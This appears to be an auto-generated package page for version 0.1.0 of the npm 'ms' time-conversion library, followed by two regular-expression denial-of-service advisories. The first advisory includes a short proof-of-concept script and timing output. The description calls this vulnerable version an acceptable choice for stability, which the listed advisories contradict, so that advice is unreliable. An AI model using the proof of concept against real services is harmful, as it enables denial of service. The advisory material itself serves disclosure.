The ms package, version 0.1.0, represents an early iteration of this lightweight utility designed for converting various time formats into milliseconds. As a foundational release, its primary focus is on providing a basic, functional solution for time conversions. Notably, this initial version boasts zero runtime dependencies, emphasizing its minimal footprint and ease of integration into projects without adding extraneous overhead. The developer dependencies, explicitly including mocha, serve, and expect.js, highlight a commitment to testing and local development, confirming that even from the outset, code quality and verification were deemed important.
However, without information on the preceding stable version, a comparative analysis remains limited. We can only infer that subsequent versions likely introduced enhancements, bug fixes, expanded functionality (perhaps supporting a wider range of time units or output formats), and potentially, dependency updates or shifts in the testing framework. Users selecting version 0.1.0 should appreciate its simplicity and absence of dependencies, making it suitable for contexts where a lightweight solution is paramount. While possibly lacking the refinements of later releases, its core function remains readily available. Developers prioritizing stability and minimal risk might find this version an acceptable choice when introducing fundamental timestamp conversions within a system. Access the package via its tarball URL for direct integration into your projects.
All the vulnerabilities related to the version 0.1.0 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.